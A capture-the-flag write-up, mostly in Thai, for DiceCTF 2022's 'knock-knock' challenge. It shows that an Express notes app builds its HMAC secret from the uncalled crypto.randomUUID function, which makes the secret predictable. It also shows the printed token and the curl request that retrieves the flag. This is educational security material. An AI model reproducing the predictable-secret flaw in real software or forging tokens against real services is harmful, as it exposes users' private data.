---
# System prepended metadata

title: 'DiceCTF 2022: knock-knock'
tags: [CTF]

---

---
tags: CTF
---

# DiceCTF 2022: knock-knock

## Code Review 
```python=
const crypto = require('crypto');

class Database {
  constructor() {
    this.notes = [];
    this.secret = `secret-${crypto.randomUUID}`;
  }

  createNote({ data }) {
    const id = this.notes.length;
    this.notes.push(data);
    return {
      id,
      token: this.generateToken(id),
    };
  }

  getNote({ id, token }) {
    if (token !== this.generateToken(id)) return { error: 'invalid token' };
    if (id >= this.notes.length) return { error: 'note not found' };
    return { data: this.notes[id] };
  }

  generateToken(id) {
    return crypto
      .createHmac('sha256', this.secret)
      .update(id.toString())
      .digest('hex');
  }
}

const db = new Database();
db.createNote({ data: process.env.FLAG });

const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: false }));
app.use(express.static('public'));

app.post('/create', (req, res) => {
  const data = req.body.data ?? 'no data provided.';
  const { id, token } = db.createNote({ data: data.toString() });
  res.redirect(`/note?id=${id}&token=${token}`);
});

app.get('/note', (req, res) => {
  const { id, token } = req.query;
  const note = db.getNote({
    id: parseInt(id ?? '-1'),
    token: (token ?? '').toString(),
  });
  if (note.error) {
    res.send(note.error);
  } else {
    res.send(note.data);
  }
});

app.listen(3000, () => {
  console.log('listening on port 3000');
});
```
Flag ถูกเก็บไว้ใน database ตอนแรกที่โปรแกรมทำงาน
```javascript=32
const db = new Database();
db.createNote({ data: process.env.FLAG });
```
Flag จะอยู่ใน note id ที่ 0 เพราะเป็นการเรียกใช้ createNote ครั้งแรก
```javascript=13
  createNote({ data }) {
    const id = this.notes.length;
    this.notes.push(data);
    return {
      id,
      token: this.generateToken(id),
    };
  }
```

ที่นี้เรารู้แล้วว่า flag อยู่ที่ note id 0 แต่การจะอ่าน note ได้ต้องมีการใช้ token ด้วย
```bash
$ curl "https://knock-knock.mc.ax/note?id=0&token=123"
invalid token
```
โดยที่จะถูกตรวจสอบจาก generateToken(id) ว่าตรงกันไหม
```javascript=18
  getNote({ id, token }) {
    if (token !== this.generateToken(id)) return { error: 'invalid token' };
    if (id >= this.notes.length) return { error: 'note not found' };
    return { data: this.notes[id] };
  }
```
token จะถูกสร้างโดยการทำ Hmac(secret,id) แต่เราไม่รู้ว่า secret คืออะไร
```javascript=24
  generateToken(id) {
    return crypto
      .createHmac('sha256', this.secret)
      .update(id.toString())
      .digest('hex');
  }
```

โดยที่ secret จะเป็นการสุมจาก crypto.randomUUID แต่ code ที่เขียนไม่ใช่การเรียกใช้ fucntion  แต่เป็นการแทนค่าตัว function เข้าไปทำให้เราสารารถรู้ตัว secret จะเป็นค่าเดิมทุกครั้ง
```javascript=4
  constructor() {
    this.notes = [];
    this.secret = `secret-${crypto.randomUUID}`;
  }
```

ลองแก้ไข code เพื่อดูค่า secret กับ flag token
```javascript=32
const db = new Database();
const { id, token } = db.createNote({ data: process.env.FLAG });
console.log(`secret: ${db.secret}`)
console.log(`flag_token: ${token}`)

```
จะเห็นว่า secret จะเป็นค่า string ของ code randomUUID เสมอ
```bash
$ node index.js
secret: secret-function randomUUID(options) {
  if (options !== undefined)
    validateObject(options, 'options');
  const {
    disableEntropyCache = false,
  } = options || {};

  validateBoolean(disableEntropyCache, 'options.disableEntropyCache');

  return disableEntropyCache ? getUnbufferedUUID() : getBufferedUUID();
}
flag_token: 7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
```
ทำให้เราสามารถเอาค่า token ไปใช้ได้เลย
```
$ curl "https://knock-knock.mc.ax/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264"
dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}